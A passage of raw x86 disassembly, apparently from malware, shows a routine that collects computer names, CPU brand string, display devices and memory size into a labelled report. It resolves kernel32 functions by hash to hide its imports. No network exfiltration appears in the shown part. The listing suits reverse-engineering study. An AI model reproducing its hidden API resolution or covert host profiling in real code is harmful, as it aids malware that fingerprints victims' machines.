call fcn.00455ed0
add esp, 8
push edi
call fcn.004560b0
add esp, 4
mov word [edi + eax], 0xa
mov eax, dword [esi + 4]
mov dword [eax], 0x100
push eax
mov ebx, dword [esi + 0x3c]
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x475960]
mov ecx, dword [esi + 0x40]
mov dword [ecx], eax
mov eax, dword [0x475964]
mov dword [ecx + 4], eax
mov eax, dword [0x475968]
mov dword [ecx + 8], eax
mov eax, dword [0x47596c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x475970]
mov dword [ecx + 0x10], eax
mov eax, dword [0x475974]
mov dword [ecx + 0x14], eax
mov eax, dword [0x475978]
mov dword [ecx + 0x18], eax
push ecx
push edi
call fcn.00455ed0
add esp, 8
push ebx
push edi
call fcn.00455ed0
add esp, 8
push edi
call fcn.004560b0
add esp, 4
mov word [edi + eax], 0xa
mov eax, dword [esi + 4]
mov dword [eax], 0x100
push eax
mov ebx, dword [esi + 0x44]
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [str._lto2]
mov ecx, dword [esi + 0x48]
mov dword [ecx], eax
mov eax, dword [0x475904]
mov dword [ecx + 4], eax
mov eax, dword [0x475908]
mov dword [ecx + 8], eax
mov eax, dword [0x47590c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x475910]
mov dword [ecx + 0x10], eax
mov eax, dword [0x475914]
mov dword [ecx + 0x14], eax
push ecx
push edi
call fcn.00455ed0
add esp, 8
push ebx
push edi
call fcn.00455ed0
add esp, 8
push edi
call fcn.004560b0
add esp, 4
mov word [edi + eax], 0xa
mov ebx, dword [esi + 0x4c]
push ebx
call fcn.0044d8a0
add esp, 4
mov dword [esi + 4], eax
push 1
push 0x800
call fcn.004556b7
add esp, 8
push dword [ebx + 8]
push dword [ebx + 4]
push dword [ebx]
mov ecx, dword [esi + 4]
push dword [ecx*4 + 0x475820]
push str._s___d._d._d_
push 0x7ff
push eax
mov ebx, eax
call fcn.0044a8c0
add esp, 0x1c
mov eax, dword [0x475999]
mov ecx, dword [esi + 0x58]
mov dword [ecx], eax
mov eax, dword [0x47599d]
mov dword [ecx + 4], eax
mov eax, dword [0x4759a1]
mov dword [ecx + 8], eax
mov eax, dword [0x4759a4]
mov dword [ecx + 0xb], eax
push ecx
push edi
call fcn.00455ed0
add esp, 8
push ebx
push edi
call fcn.00455ed0
add esp, 8
push edi
call fcn.004560b0
add esp, 4
mov word [edi + eax], 0xa
mov eax, dword [0x4759b1]
mov ecx, dword [esi + 8]
mov dword [ecx], eax
mov eax, dword [0x4759b5]
mov dword [ecx + 4], eax
movzx eax, byte [0x4759b9]
mov byte [ecx + 8], al
push 0x200
push 0
mov ebx, dword [esi + 0x5c]
push ebx
call fcn.00450c00
add esp, 0xc
push ebx
call fcn.00445cf0
add esp, 4
push dword [esi + 8]
push edi
call fcn.00455ed0
add esp, 8
push ebx
call fcn.004309e0
add esp, 4
push eax
push edi
call fcn.00455ed0
add esp, 8
push edi
call fcn.004560b0
add esp, 4
mov word [edi + eax], 0xa
mov eax, dword [0x4758b0]
mov ecx, dword [esi + 0x60]
mov dword [ecx], eax
mov eax, dword [0x4758b4]
mov dword [ecx + 4], eax
mov eax, dword [0x4758b8]
mov dword [ecx + 8], eax
mov eax, dword [0x4758bc]
mov dword [ecx + 0xc], eax
mov eax, dword [0x4758c0]
mov dword [ecx + 0x10], eax
movzx eax, byte [0x4758c4]
mov byte [ecx + 0x14], al
push ecx
push edi
call fcn.00455ed0
add esp, 8
push dword [esi + 0x50]
push edi
call fcn.00455ed0
add esp, 8
push edi
call fcn.004560b0
add esp, 4
mov word [edi + eax], pe_nt_image_headers32
push dword [esi + 0x54]
push edi
call fcn.00455ed0
add esp, 8
push edi
call fcn.004560b0
add esp, 4
mov word [edi + eax], 0xa
push 2
push 0x55
call fcn.004556b7
add esp, 8
mov ebx, eax
push str.kernel32.dll
push 0x2f9959e0
call fcn.0044d0b0
add esp, 8
push 0x55
push ebx
call eax
push 1
push 0x55
call fcn.004556b7
add esp, 8
push 0x55
push ebx
push eax
mov ebx, eax
call fcn.00459a72
add esp, 0xc
mov eax, dword [0x475875]
mov ecx, dword [esi + 0x64]
mov dword [ecx], eax
mov eax, dword [0x475879]
mov dword [ecx + 4], eax
mov eax, dword [0x47587d]
mov dword [ecx + 8], eax
movzx eax, byte [0x475881]
mov byte [ecx + 0xc], al
push ecx
push edi
call fcn.00455ed0
add esp, 8
push ebx
push edi
call fcn.00455ed0
add esp, 8
push edi
call fcn.004560b0
add esp, 4
mov word [edi + eax], 0xa
push 1
push 0x41
call fcn.004556b7
add esp, 8
mov edi, eax
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 8], ebx
mov ebx, ecx
mov ecx, eax
mov dword [esi + 4], eax
mov eax, dword [esi + 0x14]
mov dword [eax], ecx
mov ecx, dword [esi + 8]
mov dword [eax + 4], ecx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], edx
mov dword [edi + 0xc], edx
mov dword [edi + 8], ebx
mov dword [edi + 4], ecx
mov eax, dword [esi + 4]
mov dword [edi], eax
mov eax, 0x80000003
mov ecx, 0
cpuid
mov dword [esi + 8], ebx
mov ebx, ecx
mov ecx, eax
mov dword [esi + 4], eax
mov eax, dword [esi + 0x14]
mov dword [eax], ecx
mov ecx, dword [esi + 8]
mov dword [eax + 4], ecx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], edx
mov dword [edi + 0x1c], edx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x14], ecx
mov eax, dword [esi + 4]
mov dword [edi + 0x10], eax
mov eax, 0x80000004
mov ecx, 0
cpuid
mov dword [esi + 4], ecx
mov ecx, eax
mov dword [esi + 8], eax
mov eax, dword [esi + 0x14]
mov dword [eax], ecx
mov dword [eax + 4], ebx
mov ecx, dword [esi + 4]
mov dword [eax + 8], ecx
mov dword [eax + 0xc], edx
mov eax, dword [esi + 8]
mov dword [edi + 0x20], eax
mov dword [edi + 0x24], ebx
mov dword [edi + 0x28], ecx
mov dword [edi + 0x2c], edx
mov eax, dword [0x475a63]
mov ecx, dword [esi + 0x68]
mov dword [ecx], eax
mov eax, dword [0x475a67]
mov dword [ecx + 4], eax
mov eax, dword [0x475a6b]
mov dword [ecx + 8], eax
movzx eax, byte [0x475a6f]
mov byte [ecx + 0xc], al
mov eax, dword [esi + 0x18]
mov ebx, dword [eax]
push ecx
push ebx
call fcn.00455ed0
add esp, 8
push edi
push ebx
call fcn.00455ed0
add esp, 8
push ebx
call fcn.004560b0
add esp, 4
mov word [ebx + eax], 0xa
mov edi, dword [esi + 0x6c]
lea eax, [edi + 4]
push 0x1a4
push 0
push eax
call fcn.00450c00
add esp, 0xc
mov dword [edi], 0x1a8
push 0
push edi
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov eax, dword [0x475a18]
mov ecx, dword [0x475a1c]
mov edx, dword [esi + 0x70]
mov dword [edx + 4], ecx
mov dword [edx], eax
push edx
push ebx
call fcn.00455ed0
add esp, 8
add edi, 0x24
push edi
push ebx
call fcn.00455ed0
add esp, 8
push ebx
call fcn.004560b0
add esp, 4
mov word [ebx + eax], 0xa
mov edi, dword [esi + 0x74]
mov dword [edi], 0
mov dword [edi + 4], 0
push str.kernel32.dll
push 0x5f086d32
call fcn.0044d0b0
add esp, 8
push edi
call eax
mov eax, dword [edi]
mov edi, dword [edi + 4]
shld edi, eax, 0x16
push 1
push 0xa
call fcn.004556b7
add esp, 8
mov dword [esi + 4], eax
push 0xa
push eax
push edi
call fcn.00454b74
add esp, 0xc
mov eax, dword [0x4759f0]
mov ecx, dword [esi + 0x78]
mov dword [ecx], eax
mov eax, dword [0x4759f4]
mov dword [ecx + 4], eax
mov eax, dword [0x4759f8]
mov dword [ecx + 8], eax
mov eax, dword [0x4759fc]
mov dword [ecx + 0xc], eax
mov eax, dword [0x475a00]
mov dword [ecx + 0x10], eax
mov eax, dword [0x475a04]
mov dword [ecx + 0x14], eax
mov eax, dword [0x475a08]
mov dword [ecx + 0x18], eax
movzx eax, word [0x475a0c]
mov word [ecx + 0x1c], ax
push ecx
push ebx
call fcn.00455ed0
add esp, 8
push dword [esi + 4]
push ebx
call fcn.00455ed0
add esp, 8
mov eax, dword [0x475a84]
mov ecx, dword [esi + 0x7c]
mov dword [ecx], eax
push ecx
push ebx
call fcn.00455ed0
add esp, 8
mov eax, dword [0x475a40]
mov ecx, dword [esi + 0x80]
mov dword [ecx], eax
mov eax, dword [0x475a44]
mov dword [ecx + 4], eax
mov eax, dword [0x475a48]
mov dword [ecx + 8], eax
mov eax, dword [0x475a4c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x475a50]
mov dword [ecx + 0x10], eax
movzx eax, word [0x475a54]
mov word [ecx + 0x14], ax
mov edi, ecx
push ebx
call fcn.004560b0
add esp, 4
push eax
push ebx
push edi
mov eax, dword [esi + 0x84]
push dword [eax]
call fcn.00430bd0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret